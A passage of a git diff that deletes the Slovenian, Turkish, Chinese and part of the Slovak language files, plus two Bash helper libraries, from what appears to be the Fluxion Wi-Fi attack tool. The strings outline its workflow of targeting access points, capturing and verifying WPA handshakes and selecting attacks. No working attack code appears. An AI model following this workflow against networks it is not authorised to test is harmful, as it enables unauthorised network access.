kanál(y)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Jeden kanál" -FLUXIONScannerChannelMiltipleTip="Viecero kanálov" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="FLUXION Scanner" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Vyberte spôsob získania 'handshake'" -FLUXIONHashSourcePathOption="Cesta ku 'capture' súboru" -FLUXIONHashSourceRescanOption="Priečinok s 'handshake' (preskenovať)" -FLUXIONFoundHashNotice="Našiel sa 'hash' pre vybrané AP." -FLUXIONUseFoundHashQuery="Chcete použiť tento súbor?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Vyberte spôsob overenia pre 'hash'" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}nespoľahlivé$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}Odporúčané$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Vyberte spôsob útoku pre prístupový bod" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr prebieha útok..." -FLUXIONSelectAnotherAttackOption="Vyberte iný útok" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Späť" -FLUXIONGeneralExitOption="${CRed}Exit" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Nenájdené" -FLUXIONGeneralXTermFailureError="${CRed}Nepodarilo sa spustiť 'xterm session' (možná nesprávna konfigurácia)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Čistím a zatváram" -FLUXIONKillingProcessNotice="Ukončujem ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Vypínam monitorovací adaptér" -FLUXIONDisablingExtraInterfacesNotice="Vypínam extra adaptéry" -FLUXIONDisablingPacketForwardingNotice="Vypínam ${CGry}smerovanie packet-ov" -FLUXIONDisablingCleaningIPTablesNotice="Čistím ${CGry}iptables" -FLUXIONRestoringTputNotice="Obnovujem ${CGry}tput" -FLUXIONDeletingFilesNotice="Mažem ${CGry}súbory" -FLUXIONRestartingNetworkManagerNotice="Reštartujem ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Čistenie prebehlo úspešne!" -FLUXIONThanksSupportersNotice="Ďakujeme za použitie FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/sl.sh b/fluxion_origins/language/sl.sh deleted file mode 100755 index 363f85f..0000000 --- a/fluxion_origins/language/sl.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Slovenian -# native: Slovenščina - -FLUXIONInterfaceQuery="Izberite vmesnik" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." -#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." -FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." -FLUXIONFindingWINotice="Looking for available wireless interfaces..." -FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Gathering interface information..." -FLUXIONUnknownWIDriverError="Unable to determine interface driver!" -FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." -FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." -FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." -FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" -FLUXIONStartingWIMonitorNotice="Starting monitor interface..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Starting scanner, please wait..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." -FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" -FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Hash file does not exist!" -FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" -FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Absolute path" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Izberite kanal" -FLUXIONScannerChannelOptionAll="Vsi kanali " -FLUXIONScannerChannelOptionSpecific="Določen kanal/i" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="En kanal" -FLUXIONScannerChannelMiltipleTip="Več kanalov" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="WIFI Nadzor" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Select a method to retrieve the handshake" -FLUXIONHashSourcePathOption="Path to capture file" -FLUXIONHashSourceRescanOption="Handshake directory (rescan)" -FLUXIONFoundHashNotice="A hash for the target AP was found." -FLUXIONUseFoundHashQuery="Do you want to use this file?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Izberi možnost" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." -FLUXIONSelectAnotherAttackOption="Select another attack" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Nazaj" -FLUXIONGeneralExitOption="${CRed}Exit" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Ni_najdeno" -FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Čiščenje in zapiranje" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Onemogočanje nadzornega načina" -FLUXIONDisablingExtraInterfacesNotice="Onemogočanje vmesnika" -FLUXIONDisablingPacketForwardingNotice="Onemogočanje ${CGry}posredovanja paketov" -FLUXIONDisablingCleaningIPTablesNotice="Čiščenje ${CGry}iptables" -FLUXIONRestoringTputNotice="Obnavljam ${CGry}tput" -FLUXIONDeletingFilesNotice="Deleting ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Ponovno zaganjam ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Čiščenje je bilo uspšno!" -FLUXIONThanksSupportersNotice="Hvala ker uporabljaš fluxion" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/tk.sh b/fluxion_origins/language/tk.sh deleted file mode 100755 index c6ff6a0..0000000 --- a/fluxion_origins/language/tk.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Turkish -# native: Türk - -FLUXIONInterfaceQuery="Bir Ag Secin" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." -#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." -FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." -FLUXIONFindingWINotice="Looking for available wireless interfaces..." -FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Gathering interface information..." -FLUXIONUnknownWIDriverError="Unable to determine interface driver!" -FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." -FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." -FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." -FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" -FLUXIONStartingWIMonitorNotice="Starting monitor interface..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Starting scanner, please wait..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." -FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" -FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Hash file does not exist!" -FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" -FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Absolute path" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Kanal Sec" -FLUXIONScannerChannelOptionAll="Tum Kanallar " -FLUXIONScannerChannelOptionSpecific="Sectigim Kanal ya da Kanallar" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Tek Kanal" -FLUXIONScannerChannelMiltipleTip="Coklu Kanal" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="Wifi Goruntule" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Select a method to retrieve the handshake" -FLUXIONHashSourcePathOption="Path to capture file" -FLUXIONHashSourceRescanOption="Handshake directory (rescan)" -FLUXIONFoundHashNotice="A hash for the target AP was found." -FLUXIONUseFoundHashQuery="Do you want to use this file?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Secenegi Sec" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." -FLUXIONSelectAnotherAttackOption="Select another attack" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Geri" -FLUXIONGeneralExitOption="${CRed}Exit" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Bulunamadi" -FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Temizleniyor ve Kapatiliyor" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Monitor modu kapatiliyor" -FLUXIONDisablingExtraInterfacesNotice="Ag Arayuzu kapatiliyor" -FLUXIONDisablingPacketForwardingNotice="Kapatiliyor ${CGry}forwarding of packets" -FLUXIONDisablingCleaningIPTablesNotice="Temizleniyor ${CGry}iptables" -FLUXIONRestoringTputNotice="Yenileniyor ${CGry}tput" -FLUXIONDeletingFilesNotice="Deleting ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Tekrar Baslatiliyor ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Temizlik Basariyla Tamamlandi!" -FLUXIONThanksSupportersNotice="Fluxion kullandiginiz icin tesekkurler." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/zh.sh b/fluxion_origins/language/zh.sh deleted file mode 100755 index 79f2131..0000000 --- a/fluxion_origins/language/zh.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Chinese -# native: 中文 - -FLUXIONInterfaceQuery="请选择你要调用的网卡设备" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="解除所有占用无线接口设备的进程..." -#FLUXIONFindingExtraWINotice="查询USB外部网卡接口设备..." -FLUXIONRemovingExtraWINotice="正在移除USB外部网卡接口设备..." -FLUXIONFindingWINotice="寻找可用的USB外部网卡接口设备..." -FLUXIONSelectedBusyWIError="选择的USB外部网卡接口设备正在被调用!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="采集接口信息..." -FLUXIONUnknownWIDriverError="找不到网卡设备" -FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." -FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." -FLUXIONFindingConflictingProcessesNotice="自动查询干扰Fluxion运行的进程..." -FLUXIONKillingConflictingProcessesNotice="结束干扰Fluxion运行的进程..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" -FLUXIONStartingWIMonitorNotice="启动监听模式..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="启动扫描, 请稍等..." -FLUXIONStartingScannerTip="目标AP出现后,按 Ctrl+C 关闭FLUXION扫描" -FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..." -FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)" -FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Hash文件不存在!" -FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!" -FLUXIONHashValidNotice="${CGrn}成功$CClr, Hash效验完成!" -FLUXIONPathToHandshakeFileQuery="指定捕获到的握手包存放的路径 $CClr(例如: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="捕获到握手包后存放的绝对路径" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="选择要扫描的信道" -FLUXIONScannerChannelOptionAll="扫描所有信道 " -FLUXIONScannerChannelOptionSpecific="扫描指定信道" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="单一信道" -FLUXIONScannerChannelMiltipleTip="多个信道" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="FLUXION 扫描仪" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="选择一种方式来检查握手包获取状态" -FLUXIONHashSourcePathOption="检测文件的路径" -FLUXIONHashSourceRescanOption="握手包目录(重新扫描)" -FLUXIONFoundHashNotice="发现目标热点的Hash文件." -FLUXIONUseFoundHashQuery="你想要使用这个文件吗?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="选择Hash的验证方法" -FLUXIONHashVerificationMethodPyritOption="pyrit 验证" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng 验证 (${CYel}不推荐$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty 验证 (${CGrn}推荐用这个$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="请选择一个攻击方式" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." -FLUXIONSelectAnotherAttackOption="选择启动攻击方式" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}返回" -FLUXIONGeneralExitOption="${CRed}退出" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="未找到" -FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="清理进程并退出" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="关闭监听模式界面" -FLUXIONDisablingExtraInterfacesNotice="关闭USB外部网卡接口" -FLUXIONDisablingPacketForwardingNotice="关闭 ${CGry}转发数据包" -FLUXIONDisablingCleaningIPTablesNotice="清理 ${CGry}iptables" -FLUXIONRestoringTputNotice="恢复 ${CGry}tput" -FLUXIONDeletingFilesNotice="删除 ${CGry}文件" -FLUXIONRestartingNetworkManagerNotice="重启 ${CGry}网络管理" -FLUXIONCleanupSuccessNotice="所有进程清理完成!" -FLUXIONThanksSupportersNotice="再次感谢使用Fluxion!" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/ArrayUtils.sh b/fluxion_origins/lib/ArrayUtils.sh deleted file mode 100755 index 059ab4d..0000000 --- a/fluxion_origins/lib/ArrayUtils.sh +++ /dev/null @@ -1,30 +0,0 @@ -#!/usr/bin/env bash - -if [ "$ArrayUtilsVersion" ]; then return 0; fi -readonly ArrayUtilsVersion="1.0" - -# Due to the fact we're passing arrays via indirection, -# we've got to mangle variable names used within array -# functions to prevent accidentally having a naming -# conflic with an array, for example, an array with the -# "choice" identifier in the input_choice function. -# Eventually, input_choice's "choice" variable will -# be indirectly expanded rather than the choice array. -function array_contains() { - local __array_contains__item - - # An efficient way to pass arrays around in bash - # is to perform indirect expansion by using the - # expansion symbol, $, along with the indirection - # symbol, !, in curly braces, ${! }, resulting in: - # function call: array_contains array[@] "text" - # funct params: $1 = "array[@]" $2 = "text" - # indirect exp: ${!1} => ${array[@]} (replaced!) - for __array_contains__item in "${!1}"; do - [[ "$__array_contains__item" == "$2" ]] && return 0 - done - - return 1 # Not found -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/lib/ColorUtils.sh b/fluxion_origins/lib/ColorUtils.sh deleted file mode 100755 index 891bd86..0000000 --- a/fluxion_origins/lib/ColorUtils.sh +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env bash - -if [ "$ColorUtilsVersion" ]; then return 0; fi -readonly ColorUtilsVersion="1.0" - -################################# < Shell Color Codes > ################################ - -# Regular Text -readonly CRed="\e[0;31m" -readonly CGrn="\e[0;32m" -readonly CYel="\e[0;33m" -readonly CBlu="\e[0;34m" -readonly CPrp="\e[0;35m" -readonly CCyn="\e[0;36m" -readonly CGry="\e[0;37m" -readonly CWht="\e[0;37m" -readonly CClr="\e[0m" - -# [S] - Strong text (bold) -readonly CSRed="\e[1;31m" -readonly CSGrn="\e[1;32m" -readonly CSYel="\e[1;33m" -readonly CSBlu="\e[1;34m" -readonly CSPrp="\e[1;35m" -readonly CSCyn="\e[1;36m" -readonly CSGry="\e[1;37m" -readonly CSWht="\e[1;37m" - -# [D] - Dark text -readonly CDRed="\e[2;31m" -readonly CDGrn="\e[2;32m" -readonly CDYel="\e[2;33m" -readonly CDBlu="\e[2;34m" -readonly CDPrp="\e[2;35m" -readonly CDCyn="\e[2;36m" -readonly CDGry="\e[2;37m" -readonly CDWht="\e[2;37m" - -# [I] Italicized text -readonly CIRed="\e[3;31m" -readonly CIGrn="\e[3;32m" -readonly CIYel="\e[3;33m" -readonly CIBlu="\e[3;34m" -readonly CIPrp="\e[3;35m" -readonly CICyn="\e[3;36m" -readonly CIGry="\e[3;37m" -readonly CIWht="\e[3;37m" - -# [U] - Underlined text -readonly CURed="\e[4;31m" -readonly CUGrn="\e[4;32m" -readonly CUYel="\e[4;33m" -readonly CUBlu="\e[4;34m" -readonly CUPrp="\e[4;35m" -readonly CUCyn="\e[4;36m" -readonly CUGry="\e[4;37m" -readonly CUWht="\e[4;37m" - -# [B] - Blinking text -readonly CBRed="\e[5;31m" -readonly CBGrn="\e[5;32m" -readonly CBYel="\e[5;33m" -readonly CBBlu="\e[5;34m" -readonly CBPrp="\e[5;35m" -readonly CBCyn="\e[5;36m" -readonly CBGry="\e[5;37m" -readonly CBWht="\e[5;37m" - -# 